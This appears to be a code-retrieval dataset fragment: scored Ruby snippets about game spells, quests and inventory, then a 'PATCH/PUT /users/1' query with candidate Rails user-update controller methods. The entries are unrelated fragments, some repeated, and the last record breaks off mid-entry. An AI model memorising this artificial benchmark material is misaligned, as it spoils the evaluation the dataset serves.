{
"docid": "05f1f5f33bfefe22477ce7c68e1089a7",
"score": "0.4739826",
"text": "def pick!(word, correct)\n pk = Pick.new(word, correct)\n @picks << pk\n @word_set = @word_set.remaining_after_pick(pk)\n self\n end",
"title": ""
},
{
"docid": "3150e28d47c5074ab45d508e60797066",
"score": "0.4727224",
"text": "def assign_weapon(spock)\n if spock == \"spock\"\n lizard_spock_weapon_sample\n else\n sample_weapon_choice\n end\n end",
"title": ""
},
{
"docid": "f995eefd0128be8c35867e6ffcaa6685",
"score": "0.47268587",
"text": "def spell_params\n params.require(:spell).permit(:name, :school, :subschool, :descriptor, :spell_level, :casting_time, :components, :costly_components, :range, :area, :effect, :targets, :duration, :dismissible, :shapeable, :saving_throw, :spell_resistence, :description, :description_formated, :source, :full_text, :verbal, :somatic, :material, :focus, :divine_focus, :sor, :wiz, :cleric, :druid, :ranger, :bard, :paladin, :alchemist, :summoner, :witch, :inquisitor, :oracle, :antipaladin, :magus, :adept, :deity, :SLA_Level, :domain, :short_description, :acid, :air, :chaotic, :cold, :curse, :darkness, :death, :disease, :earth, :electricity, :emotion, :evil, :fear, :fire, :force, :good, :language_dependent, :lawful, :light, :mind_affecting, :pain, :poison, :shadow, :sonic, :water, :linktext, :material_costs, :bloodline, :patron, :mythic_text, :augmented, :mythic, :bloodrager, :shaman, :psychic, :medium, :mesmerist, :occultist, :spiritualist, :skald)\n end",
"title": ""
},
{
"docid": "1bba16b319c62d01a98b55d7b317d121",
"score": "0.47054935",
"text": "def setup_quest(quest_id)\n return if @data[quest_id]\n @data[quest_id] = Game_Quest.new(quest_id)\n # Open to this quest next time the QJ is opened\n $game_system.last_quest_id = quest_id if QuestData::OPEN_TO_LAST_REVEALED_QUEST\n # Save sorting order in separate arrays to avoid re-sorting every time\n @sort_arrays.keys.each { |sym| add_to_sort_array(sym, quest_id) }\n end",
"title": ""
},
{
"docid": "c7adc48559194c6dc55f4134860aa21e",
"score": "0.47045374",
"text": "def move_to_legal_limbo(word)\n @illegal_words.delete(word)\n @legal_limbo[word] = 1\n end",
"title": ""
},
{
"docid": "62d42295245dd295bf0bf9546e67c004",
"score": "0.47028396",
"text": "def complete_quest\n reward_money\n # gain any item rewards\n reward_items\n # delete player_quest\n self.destroy\n end",
"title": ""
},
{
"docid": "69ff2d315f3dd68bf5f5d504a4e11818",
"score": "0.4700328",
"text": "def initialize(name) #parameter\n\t@name = name #instance variable gotten from the parameters\n\t@spells = []\nend",
"title": ""
},
{
"docid": "69ff2d315f3dd68bf5f5d504a4e11818",
"score": "0.4700328",
"text": "def initialize(name) #parameter\n\t@name = name #instance variable gotten from the parameters\n\t@spells = []\nend",
"title": ""
},
{
"docid": "69ff2d315f3dd68bf5f5d504a4e11818",
"score": "0.4700328",
"text": "def initialize(name) #parameter\n\t@name = name #instance variable gotten from the parameters\n\t@spells = []\nend",
"title": ""
},
{
"docid": "c7ab162a700cf0df00d5621c47a073d7",
"score": "0.46974137",
"text": "def spell()\n sql = \"SELECT * FROM spells\n WHERE spells.id = $1\"\n values = [@spell_id]\n result = SqlRunner.run(sql, values)\n return Spell.new(result.first) unless result.first == nil\n end",
"title": ""
},
{
"docid": "174c979f42f025e6875acc7b7a972f4d",
"score": "0.46966136",
"text": "def set_spell_range\n @spell_range = SpellRange.find(params[:id])\n end",
"title": ""
},
{
"docid": "019fcd7cde66d434019e3e19ec728b82",
"score": "0.46956512",
"text": "def correct(word)\n edit1_words = WordVariations.new(word).all\n known([word]) || known(WordVariations.new(word).all) || known(WordVariations.new(edit1_words).all) || [word]\n end",
"title": ""
},
{
"docid": "89ab5765ac56bb6adcaec84d3225b329",
"score": "0.46947134",
"text": "def special_unequip(ability_name)\n case ability_name\n when ' '\n #having no whens causes an error\n #you would type when and then the ability\n #this is if you have obscure but interesting\n #abilities like duel wielding\n #note:you don't need these for abilities like\n #equip or battle commands\n end\n return\n end",
"title": ""
},
{
"docid": "9d6a5519f034dd1e11777009e8440488",
"score": "0.46923393",
"text": "def set_word\n resource = Word.find_by(slug: params[:slug])\n raise ActiveRecord::RecordNotFound unless resource\n\n @word ||= resource\n end",
"title": ""
},
{
"docid": "9c28f470dc5b52eddcbcb4bb5d258b56",
"score": "0.46747237",
"text": "def activate spell_name, *syms\n return Metamorphosis.activate!(spell_name, self, syms)\n end",
"title": ""
},
{
"docid": "46d3d46bd9157ad23d1c70782a974e6d",
"score": "0.4666591",
"text": "def get_new_spell\n raise \"abstract method #get_new_spell must be defined\"\n end",
"title": ""
},
{
"docid": "8c383090c6c20abb45dd68882472be2e",
"score": "0.46642414",
"text": "def phytotoma_digitalism_spellbind()\n end",
"title": ""
},
{
"docid": "bda2ccc8eeedbd2a433843f01a59b53a",
"score": "0.46641323",
"text": "def wizard\n @spells = Spell.where(classes: \"[\\\"Wizard\\\"]\")\n end",
"title": ""
},
{
"docid": "a934d436438a86fd815c94f432ce6373",
"score": "0.46596423",
"text": "def prepare\r\n # if buyer bought all items\r\n if self.item.quantity == self.quantity\r\n self.seller.release_item(self.item)\r\n else\r\n self.seller.release_quantity_of_item(self.item, self.quantity)\r\n self.item = self.item.clone\r\n self.item.id = Item.next_id!\r\n self.item.owner = nil\r\n self.item.quantity = self.quantity\r\n self.item.save\r\n end\r\n self.item.price = self.price unless self.price == nil\r\n self.item.state = :pending\r\n\r\n self.item.notify_change\r\n self.buyer.add_to_pending(self)\r\n self.buyer.credits -= self.item.price * self.quantity\r\n\r\n self.save\r\n end",
"title": ""
},
{
"docid": "a399801d8fbfa67dfdbd2921ef7a0d41",
"score": "0.4659091",
"text": "def place piece, x,y\n @pending_words.place [x,y]\n @pending.place piece, x,y \n end",
"title": ""
},
{
"docid": "b039628b7ae53bf4a206c00b3c2c0d4d",
"score": "0.465654",
"text": "def prepare( m, word, chainlen, type, regexinfo )\n xchain = m.bot.set.logic.maxchainlength\n nchain = m.bot.set.logic.minchainlength\n wid = -1\n oword = word\n \n # Rope our chain length into whatever config has it set as\n if not chainlen.is_a? Integer or chainlen <= 0\n chainlen = Random.new.rand nchain..xchain\n elsif chainlen > xchain\n chainlen = xchain\n elsif chainlen < nchain\n chainlen = nchain\n end\n\n if type == \"regex\"\n wid = m.getFirst_i_rand( \"id\", ( \"words WHERE word \" + regexinfo[:op] + \" ?\" ), regexinfo[:regex] )\n else\n wid = m.getFirst_i_rand \"id\", \"words WHERE word = ?\", word\n end\n \n if wid == nil or wid <= 0\n m.reply \"I don't know the word: \\\"#{oword}\\\"\"\n end\n\n return wid, chainlen\n end",
"title": ""
},
{
"docid": "8d15bdd86ffee1e82fcb966b1f8878fb",
"score": "0.4646234",
"text": "def roll_spells(number, category, char_class, duplicates=false) \r\n (number-known[char_class][category].length).times do\r\n if book[char_class][category].length <=0\r\n known[char_class] = Hash.new([]) if known[char_class].length <= 0 \r\n list_dup = @@list[char_class][category].uniq\r\n list_dup.reject!{|v| known[char_class][category].include?(v)} if !duplicates\r\n begin\r\n choice = list_dup[rand(list_dup.length)]\r\n choice = SpellModel.new(char_class.to_s + \" Spell\") if !choice\r\n list_dup.delete(choice.name) if !duplicates\r\n if !choice.available(forbidden_types[char_class])\r\n choice = nil\r\n end\r\n end while !choice\r\n known[char_class][category] += [choice].dup\r\n else\r\n known[char_class] = Hash.new([]) if known[char_class].length <= 0 \r\n choice = book[char_class][category][rand(book[char_class][category].length)]\r\n choice = SpellModel.new(char_class.to_s + \" Spell\") if !choice\r\n known[char_class][category] += [choice].dup\r\n end\r\n end\r\n\tend",
"title": ""
},
{
"docid": "322f1a9bc2ab5f9f00f13172365d229e",
"score": "0.46452117",
"text": "def unequip_armor(armor_slot)\n $game_party.gain_armor(@armors[armor_slot], 1) if @armors[armor_slot] != nil\n @armors[armor_slot] = nil\n end",
"title": ""
},
{
"docid": "ab0117d48f394abe47adfb7cea4fc3d4",
"score": "0.46380952",
"text": "def initialize(name)\n @name = name\n @spells = []\n end",
"title": ""
},
{
"docid": "c217d3c8e55af78f8167cffe8b5426ec",
"score": "0.46345073",
"text": "def pick_up(item)\n if find_current_item(item)\n # Remove item from @rooms item array, converting the item to a single item array\n find_room_in_rapture(@player.location).items -= [item.to_sym]\n if @weapons_list.include?(item.to_sym)\n @player.weapons << item\n else\n @player.inventory << item\n end\n puts \"You picked up the \" + item.to_s.gsub('_', ' ')\n else\n puts \"You cannot pick up a \" + item.to_s.gsub('_', ' ')\n end\n end",
"title": ""
},
{
"docid": "acd7562521e62cb7fbdb651027cface2",
"score": "0.46343046",
"text": "def set_quest(new_quest)\n return if @quest == new_quest\n @quest = new_quest\n refresh\n end",
"title": ""
},
{
"docid": "3ea3a18f9fba1910479c515066a315da",
"score": "0.46293214",
"text": "def setup_change_skill\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n skill = $data_skills[@acts[1]]\n return unless skill\n self.item_in_use = copy(skill)\n end",
"title": ""
},
{
"docid": "3ea3a18f9fba1910479c515066a315da",
"score": "0.46293214",
"text": "def setup_change_skill\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n skill = $data_skills[@acts[1]]\n return unless skill\n self.item_in_use = copy(skill)\n end",
"title": ""
},
{
"docid": "23dc1dc119c769cf0987b9cc583994c1",
"score": "0.46230325",
"text": "def prepare\n return unless find_resource\n @game.prepare!\n redirect_to game_path(@game)\n end",
"title": ""
},
{
"docid": "20970901f0b14f5a1f9bd5c3eb2975ff",
"score": "0.4620971",
"text": "def spell_params\n # params is a hashtable. It should have in it a key of :user.\n # The value for the :user key is another hash.\n # If params does not contain the key :user, an exception is raised. \n # Only the \"user\" hash is returned and only with the permitted key(s).\n # So we get back { :name => someName, :email => someEmail}\n #params.fetch(:spell, {})\n params.require(:spell).permit(:name, :level, :school, :bard, :cleric, :druid, :paladin, :sorcerer, :ranger, :warlock, :wizard, :concentration, :description)\n end",
"title": ""
},
{
"docid": "9b947215f6979b5c8866cb51fe2a8f4b",
"score": "0.46154332",
"text": "def continue\n puts \"You only have spells left. Would you like to know the different spells you can use?\"\n puts \"Type 'yes' to continue or any other key to exit the program\"\n input = gets.strip.downcase\n if input == \"y\" || input == \"yes\"\n spell_name_display\n spell_choice\n else\n puts \"Okay. RIP!\"\n end\n end",
"title": ""
},
{
"docid": "1b997b8a1bbe4d9db2bfb9bb71e661b2",
"score": "0.4608203",
"text": "def do_make(*words)\n item = get_root.find(words)\n\n if item.tag == :seesaw\n needed = [:barrel, :plank, :hammer, :nails]\n if needed.map { |item| get_room.find(item) }.all?\n needed.each { |item| get_root.move(item, :void) }\n\n get_root.move(:seesaw, parent)\n else\n return false\n end\n elsif item.tag == :pancake\n if get_room.find(:milk) && get_room.find(:flour) && get_room.find(:bowl) && get_room.find(:egg)\n puts \"Dolup, Slop, Slush!\"\n get_root.move(:milk, :void)\n get_root.move(:bowl, :void)\n get_root.move(:flour, :void)\n get_root.move(:egg, :void)\n get_root.move(:bowl_of_mixture, parent, false)\n else\n puts \"Its not possible to do that\" #TODO: Make this canonical\n return false\n end\n else\n false\n end\n end",
"title": ""
},
{
"docid": "1b997b8a1bbe4d9db2bfb9bb71e661b2",
"score": "0.4608203",
"text": "def do_make(*words)\n item = get_root.find(words)\n\n if item.tag == :seesaw\n needed = [:barrel, :plank, :hammer, :nails]\n if needed.map { |item| get_room.find(item) }.all?\n needed.each { |item| get_root.move(item, :void) }\n\n get_root.move(:seesaw, parent)\n else\n return false\n end\n elsif item.tag == :pancake\n if get_room.find(:milk) && get_room.find(:flour) && get_room.find(:bowl) && get_room.find(:egg)\n puts \"Dolup, Slop, Slush!\"\n get_root.move(:milk, :void)\n get_root.move(:bowl, :void)\n get_root.move(:flour, :void)\n get_root.move(:egg, :void)\n get_root.move(:bowl_of_mixture, parent, false)\n else\n puts \"Its not possible to do that\" #TODO: Make this canonical\n return false\n end\n else\n false\n end\n end",
"title": ""
},
{
"docid": "359846632eb9d1b08e3ddd5daff99477",
"score": "0.4600119",
"text": "def get_spell(champ_name_id, button, num)\n @spell_name[button] = @data['data'][champ_name_id]['spells'][num]['name']\n @spell_img_name[button] = @data['data'][champ_name_id]['spells'][num]['id']\n @spell_img_url[button] = \"http://ddragon.leagueoflegends.com/cdn/#{@current_version}/img/spell/#{@spell_img_name[button]}.png\"\n @spell_range[button] = @data['data'][champ_name_id]['spells'][num]['rangeBurn']\n \n input_spell_values(button, num)\n \n # If the spell has two forms, get the other form (e.g. Elise and Nidalee).\n if !@data['data'][champ_name_id]['spells'][num+4].nil?\n @spell_name[\"#{button}2\".to_sym] = @data['data'][champ_name_id]['spells'][num+4]['name']\n @spell_img_name[\"#{button}2\".to_sym] = @data['data'][champ_name_id]['spells'][num+4]['id']\n @spell_img_url[\"#{button}2\".to_sym] = \"http://ddragon.leagueoflegends.com/cdn/#{@current_version}/img/spell/#{@spell_img_name[\"#{button}2\".to_sym]}.png\"\n @spell_range[\"#{button}2\".to_sym] = @data['data'][champ_name_id]['spells'][num+4]['rangeBurn']\n \n input_spell_values(\"#{button}2\".to_sym, num+4)\n end\n end",
"title": ""
},
{
"docid": "52f839dfe66b87092df3aeaa2919e063",
"score": "0.45998353",
"text": "def spell_params\n # params is a hashtable. It should have in it a key of :book.\n # The value for the :book key is another hash.\n # If params does not contain the key :book, an exception is raised. \n # Only the \"book\" hash is returned and only with the permitted key(s).\n # So returns a hash with only having at most keys of :title, :year, :author_id\n params.require(:spell).permit(:name, :level, :school, :concentration, :description)\n \n end",
"title": ""
},
{
"docid": "f40727bc1974fb77f845b86a9073930c",
"score": "0.45994574",
"text": "def add_name name\n name.scan(/[a-z]+/i) do |part|\n @spell.add_to_session part\n end\n end",
"title": ""
}
] |
a28e478681ac9d29c5dd796aa824781d | PATCH/PUT /users/1 PATCH/PUT /users/1.json | [
{
"docid": "183d7a0340fd2253cb5c7a183a8e1037",
"score": "0.0",
"text": "def update\n user = @current_user\n user.update user_params\n\n if params[:user][\"image\"].present?\n req = Cloudinary::Uploader.upload(params[:user][\"image\"])\n user.update(:image => req[\"url\"])\n end\n\n redirect_to user_path\n\n end",
"title": ""
}
] | [
{
"docid": "23a904e6ddd4b6b07c4b53353e78cf93",
"score": "0.7225568",
"text": "def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"title": ""
},
{
"docid": "4781fa7337315133553edb54194e6202",
"score": "0.7129473",
"text": "def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"title": ""
},
{
"docid": "e8f495dfe6f2952088c1f7d38d95f2d1",
"score": "0.70036036",
"text": "def UpdateUser params = {}\n \n APICall(path: 'users.json',method: 'PUT',payload: params.to_json)\n \n end",
"title": ""
},
{
"docid": "b6cf54e5b5071d671df15d03f3ef6a33",
"score": "0.6903525",
"text": "def update \n user = User.find(params[:id])\n # byebug\n user.update(user_params)\n\n render json: user\n end",
"title": ""
},
{
"docid": "86cc37e6a21cce5aa7fe2a64f68322ff",
"score": "0.6821961",
"text": "def update\n user = User.find(params[:id])\n\n # Use update with user_params to do a mass-assignment update and save. \n if user.update_attributes(user_params)\n render json: user\n else \n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "67da6fcd1d38afcf3f84f2a2d040b1c8",
"score": "0.68157715",
"text": "def update\n user = User.find_by(id: params[:id])\n user.update(user_params)\n render json: user\n end",
"title": ""
},
{
"docid": "4c018e721561afdef9be00e0ae71d813",
"score": "0.6708618",
"text": "def update\n \trespond_to do |format|\n if @user.update(user_params)\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\t \t\n end",
"title": ""
},
{
"docid": "28c369a53c624554f07b71b03c412fda",
"score": "0.66936064",
"text": "def update\n user = find_user\n user.update!(user_params)\n render json: user\n end",
"title": ""
},
{
"docid": "9c5fe9f51f5d29119d1307d9867b65e1",
"score": "0.66810983",
"text": "def update\n if user.update(user_params)\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"title": ""
},
{
"docid": "19bfd44c3b4522e0debc740603975dea",
"score": "0.6673763",
"text": "def update\n if @api_v1_user.update(api_v1_user_params)\n head :no_content\n else\n render json: @api_v1_user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0d33df9733c380060a92a1133403ca43",
"score": "0.6672601",
"text": "def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"title": ""
},
{
"docid": "38a2b8b0094bd592c995ede861a3df1f",
"score": "0.6664346",
"text": "def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"title": ""
},
{
"docid": "38a2b8b0094bd592c995ede861a3df1f",
"score": "0.6664346",
"text": "def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"title": ""
},
{
"docid": "9d6ed0c5496b3151f829bdbc0f2eed03",
"score": "0.6659468",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "9d6ed0c5496b3151f829bdbc0f2eed03",
"score": "0.6659468",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5e280b38c6ed54b685dbd0b3c2df18fd",
"score": "0.6654875",
"text": "def update_user(options)\n patch(\"/user\", options, 3)\n end",
"title": ""
},
{
"docid": "d477ca55c2d433aad9639fb0e41183cb",
"score": "0.66486204",
"text": "def modify_user(user)\n query_api_object Model::User, '/rest/user', user.to_hash, 'PUT'\n end",
"title": ""
},
{
"docid": "55665c4c375d14e979809ebac59169e0",
"score": "0.66436917",
"text": "def update\n user = User.find(params[:id])\n user.update(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors\n end\n end",
"title": ""
},
{
"docid": "4926bab099e0388f203c269da6dfee87",
"score": "0.6641295",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { render action: \"edit\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"title": ""
},
{
"docid": "098e999e32df53f3bd8487f0118ce5c0",
"score": "0.6635214",
"text": "def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.role = params[:type]\n @user.save\n render json:@user\n end",
"title": ""
},
{
"docid": "be658cd696fc6c9fae30def6b619241e",
"score": "0.6618464",
"text": "def update\n if @user.id == current_api_user.id\n if @user.update(user_params)\n render json: @user.as_json(except: [:updated_at]), status: :ok\n else\n render json: @user.errors, status: :bad_request\n end\n else\n render json: '', status: :forbidden\n end\n end",
"title": ""
},
{
"docid": "763bf28e649181944d169216011516c6",
"score": "0.66153306",
"text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: {error: \"Could not update user\"}\n end\n end",
"title": ""
},
{
"docid": "d609f3a8a3636ff916839ca763e8457a",
"score": "0.6610267",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n render json:@user\n else\n render json: { error: {code: 404, message: 'Invalid user' }}, status: :not_found\n end\n end",
"title": ""
},
{
"docid": "691e3bde861cbda7d0bb533fcbb31672",
"score": "0.6607359",
"text": "def update\n user = User.find(params[:id])\n if user.update(params_user)\n render json: user, status: 200\n else\n render json: user.errors, status: 422\n end\n\n end",
"title": ""
},
{
"docid": "73b9c42fe80f1e0519afec2a2669d8c9",
"score": "0.6583569",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update user_params(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "8d0e9c0f078ce352d01d05950e06f66c",
"score": "0.65825915",
"text": "def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.save\n render json:@user\n end",
"title": ""
},
{
"docid": "a6c01447e46fcfe930cb4df3211c5677",
"score": "0.65820843",
"text": "def updateUser\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4051/users/\"+@current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"title": ""
},
{
"docid": "e795c6b3cbb9843708503b44b8bb47da",
"score": "0.65801483",
"text": "def update\n user = @user_service.update_user(params[:id])\n render json: user, status: :ok\n end",
"title": ""
},
{
"docid": "fb438e41da6d9e52758e1c290bb6318e",
"score": "0.65615994",
"text": "def update\n @user = User.find(params[:id]) \n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User #{@user.name} was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "018e1818e03cc3d12f1b20effb2bc0a8",
"score": "0.6558883",
"text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "018e1818e03cc3d12f1b20effb2bc0a8",
"score": "0.6558883",
"text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0e4748188d73163339f4214cd480f038",
"score": "0.6543664",
"text": "def update\n if @user.update(user_params)\n render json: @user, status: 200\n else\n render json: @user.errors, status: 422\n end\n end",
"title": ""
},
{
"docid": "7b9915799e8978819870bedeefb2380a",
"score": "0.6537492",
"text": "def update\n begin\n user = User.find(params[:user_id])\n if user.update(user_params)\n render json: { users: user }, status: :ok\n else\n render json: { errors: user.errors.messages }, status: 422\n end\n rescue => e\n render json: { errors: e.message }, status: 404\n end\n end",
"title": ""
},
{
"docid": "f372faa6dbb1d6bc23f764dc3d392f5f",
"score": "0.6515997",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f3d0dac5789c507351722f6b65542fed",
"score": "0.6514648",
"text": "def update\n respond_to do |format|\n if user.update(user_params)\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f40637d728484ec41ef659e304a15a44",
"score": "0.65062994",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "748ea080c08e00cbdc2f345f8393af81",
"score": "0.65054137",
"text": "def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"title": ""
},
{
"docid": "748ea080c08e00cbdc2f345f8393af81",
"score": "0.65054137",
"text": "def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"title": ""
},
{
"docid": "5325f5bf321e5e303cfdc0994303e747",
"score": "0.65015376",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c449d876d93f3e6acd5414b971c119c",
"score": "0.6468482",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes_from_api(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { render_for_api :user, :json => @user }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa2931bdfd29baec201cf2ea43bd7606",
"score": "0.6466442",
"text": "def update\n @user = current_org.users.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "77dc518adf976c10fd53e7c05b8ddcac",
"score": "0.64641905",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6421cb604cdafb5337b1bbbe048378ed",
"score": "0.6453641",
"text": "def patch_user(user_id, body)\n raise Auth0::MissingUserId, 'Must supply a valid user_id' if user_id.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid body' if body.to_s.empty? || body.empty?\n path = \"#{users_path}/#{user_id}\"\n patch(path, body)\n end",
"title": ""
},
{
"docid": "5a7e3d2560a90455808cf2ac726ee37f",
"score": "0.64496416",
"text": "def update\n @user = User.find(params[:id])\n @user.update(user_params)\n render json: @current_user\n end",
"title": ""
},
{
"docid": "121a35e079a78a4c5ef08f767681a19d",
"score": "0.6443516",
"text": "def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"title": ""
},
{
"docid": "c857c0a55dd395188347f0d7e307729c",
"score": "0.6441606",
"text": "def update\n user = User.find(params[:id])\n render json: { status: 200, msg: 'User details have been updated.' } if user.update(user_params)\n end",
"title": ""
},
{
"docid": "d60aea9b6494aa0cf4d3a6d881b8964f",
"score": "0.6437562",
"text": "def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end",
"title": ""
},
{
"docid": "68e9dea03c34e7086afe8055d7414ef5",
"score": "0.6428467",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "68e9dea03c34e7086afe8055d7414ef5",
"score": "0.6428467",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2bea521a46da0834c38f0b0851289837",
"score": "0.64279026",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ee7b3f1f56e8d8e3a02735b05c58c34d",
"score": "0.6427495",
"text": "def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: user\n else\n render json: user.errors.full_messages\n end\n end",
"title": ""
},
{
"docid": "d7ff0b7665651e54080c83b5cdcb4312",
"score": "0.64269704",
"text": "def update\n respond_to do |format|\n if @user.update(form_params)\n format.json { render json: { users: @user }, status: :ok, location: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0b9c1bef7f401fa06802170d53d4d7b9",
"score": "0.6424723",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0b9c1bef7f401fa06802170d53d4d7b9",
"score": "0.6424723",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0488c0d04e1ce022d7cd8bf4d229440e",
"score": "0.64239854",
"text": "def update\n @user.update(user_params)\n respond_with @user\n end",
"title": ""
},
{
"docid": "03da27e445bffc14c7ae12d4b10e623a",
"score": "0.6418606",
"text": "def update\n @user = user.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e16aa57d70edc7ce934e72ae9245d3a0",
"score": "0.64156115",
"text": "def update_user\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "30d79815f464b337f20c28f47ecb0538",
"score": "0.6411428",
"text": "def update\n @user = User.find(params[:id])\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "14e9e122e72ccf791f0fe5d01db334df",
"score": "0.64053625",
"text": "def update\n @user = get_user(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to root_url, notice: \"User #{@user.login_name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f97b9af2d44b331cfb3d2025b2c29702",
"score": "0.6405119",
"text": "def update\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "965b8c48a086ed9f7a8aecda1c6b3cb2",
"score": "0.6398354",
